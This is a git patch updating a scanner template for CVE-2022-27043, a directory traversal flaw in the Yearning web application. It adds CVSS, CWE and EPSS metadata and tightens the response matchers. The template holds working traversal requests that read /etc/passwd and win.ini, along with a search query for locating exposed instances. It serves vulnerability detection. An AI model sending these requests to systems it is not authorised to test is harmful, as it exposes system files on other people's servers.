From 7cd8273a06b2e19bfc39d4d8c2224037291442a3 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Tue, 30 Jul 2024 11:57:26 +0530 Subject: [PATCH] Update CVE-2022-27043 --- http/cves/2022/CVE-2022-27043 | 38 +++++++++++++++++++++-------------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/http/cves/2022/CVE-2022-27043 b/http/cves/2022/CVE-2022-27043 index 6cfff057b8..5a4054d67d 100644 --- a/http/cves/2022/CVE-2022-27043 +++ b/http/cves/2022/CVE-2022-27043 @@ -1,14 +1,29 @@ id: CVE-2022-27043 info: - name: Yearning Directory Traversal + name: Yearning - Directory Traversal author: Co5mos severity: high description: | Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning. + reference: + - https://github.com/jimdx/YEARNING-CVE-2022-27043/blob/main/README.md + - http://yearning.io/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-27043 + cwe-id: CWE-22 + epss-score: 0.00238 + epss-percentile: 0.62311 + cpe: cpe:2.3:a:yearning:yearning:*:*:*:*:*:*:*:* metadata: - fofa-query: 'app="Yearning"' - tags: yearning, lfi + verified: true + max-request: 1 + vendor: yearning + product: yearning + fofa-query: app="Yearning" + tags: cve,cve2022,yearning,lfi http: - method: GET @@ -16,17 +31,10 @@ http: - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd" - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini" - matchers-condition: or matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" + - type: dsl + dsl: + - "regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support')" + - "contains(content_type, 'text/plain')" + - "status_code == 200" condition: and - - - type: regex - part: body - regex: - - "root:.*:0:0"